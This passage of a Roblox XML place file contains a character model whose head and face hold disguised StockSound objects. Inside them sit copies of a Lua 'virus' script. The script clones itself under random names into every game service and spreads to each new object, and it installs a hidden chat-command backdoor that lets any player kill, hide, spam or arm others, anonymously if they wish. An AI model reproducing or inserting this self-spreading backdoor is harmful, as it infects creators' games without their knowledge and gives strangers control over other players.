pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
							<bool name="archivable">true</bool>
						</Properties>
					</Item>
				</Item>
			</Item>
			<Item class="Model" referent="RBX254">
				<Properties>
					<token name="Controller">7</token>
					<bool name="ControllerFlagShown">true</bool>
					<CoordinateFrame name="ModelInPrimary">
						<X>0</X>
						<Y>0</Y>
						<Z>0</Z>
						<R00>1</R00>
						<R01>0</R01>
						<R02>0</R02>
						<R10>0</R10>
						<R11>1</R11>
						<R12>0</R12>
						<R20>0</R20>
						<R21>0</R21>
						<R22>1</R22>
					</CoordinateFrame>
					<string name="Name">Figure</string>
					<Ref name="PrimaryPart">RBX255</Ref>
					<bool name="archivable">true</bool>
				</Properties>
				<Item class="Part" referent="RBX255">
					<Properties>
						<bool name="Anchored">false</bool>
						<float name="BackParamA">-0.5</float>
						<float name="BackParamB">0.5</float>
						<token name="BackSurface">0</token>
						<token name="BackSurfaceInput">0</token>
						<float name="BottomParamA">-0.5</float>
						<float name="BottomParamB">0.5</float>
						<token name="BottomSurface">4</token>
						<token name="BottomSurfaceInput">0</token>
						<int name="BrickColor">12</int>
						<CoordinateFrame name="CFrame">
							<X>-21.7944565</X>
							<Y>4.79857159</Y>
							<Z>-14.8785076</Z>
							<R00>0.802155316</R00>
							<R01>3.48731282e-006</R01>
							<R02>0.597115457</R02>
							<R10>-3.23073073e-005</R10>
							<R11>1</R11>
							<R12>3.75608506e-005</R12>
							<R20>-0.597115457</R20>
							<R21>-4.94208289e-005</R21>
							<R22>0.802155316</R22>
						</CoordinateFrame>
						<bool name="CanCollide">false</bool>
						<token name="Controller">0</token>
						<bool name="ControllerFlagShown">true</bool>
						<bool name="DraggingV1">false</bool>
						<float name="Elasticity">0.5</float>
						<token name="FormFactor">0</token>
						<float name="Friction">0.300000012</float>
						<float name="FrontParamA">-0.5</float>
						<float name="FrontParamB">0.5</float>
						<token name="FrontSurface">0</token>
						<token name="FrontSurfaceInput">0</token>
						<float name="LeftParamA">-0.5</float>
						<float name="LeftParamB">0.5</float>
						<token name="LeftSurface">0</token>
						<token name="LeftSurfaceInput">0</token>
						<bool name="Locked">false</bool>
						<token name="Material">256</token>
						<string name="Name">Head</string>
						<float name="Reflectance">0</float>
						<float name="RightParamA">-0.5</float>
						<float name="RightParamB">0.5</float>
						<token name="RightSurface">0</token>
						<token name="RightSurfaceInput">0</token>
						<Vector3 name="RotVelocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<float name="TopParamA">-0.5</float>
						<float name="TopParamB">0.5</float>
						<token name="TopSurface">0</token>
						<token name="TopSurfaceInput">0</token>
						<float name="Transparency">0</float>
						<Vector3 name="Velocity">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
						</Vector3>
						<bool name="archivable">true</bool>
						<token name="shape">1</token>
						<Vector3 name="size">
							<X>2</X>
							<Y>1</Y>
							<Z>1</Z>
						</Vector3>
					</Properties>
					<Item class="SpecialMesh" referent="RBX256">
						<Properties>
							<token name="LODX">2</token>
							<token name="LODY">2</token>
							<Content name="MeshId"><null></null></Content>
							<token name="MeshType">0</token>
							<string name="Name">Mesh</string>
							<Vector3 name="Offset">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<Vector3 name="Scale">
								<X>1.25</X>
								<Y>1.25</Y>
								<Z>1.25</Z>
							</Vector3>
							<Content name="TextureId"><null></null></Content>
							<Vector3 name="VertexColor">
								<X>1</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX257">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w9bu5nlka</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX258">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">oabq47o</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="Decal" referent="RBX259">
						<Properties>
							<token name="Face">5</token>
							<string name="Name">face</string>
							<float name="Shiny">20</float>
							<float name="Specular">0</float>
							<Content name="Texture"><hash>b0c3fd281c77535b29d7d191d47d580e</hash></Content>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="StockSound" referent="RBX260">
							<Properties>
								<bool name="Looped">false</bool>
								<string name="Name">w35uvc2q</string>
								<int name="PlayCount">-1</int>
								<bool name="PlayOnRemove">false</bool>
								<Content name="SoundId"><null></null></Content>
								<float name="Volume">0.5</float>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="Script" referent="RBX261">
								<Properties>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">vu3ymaj</string>
									<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
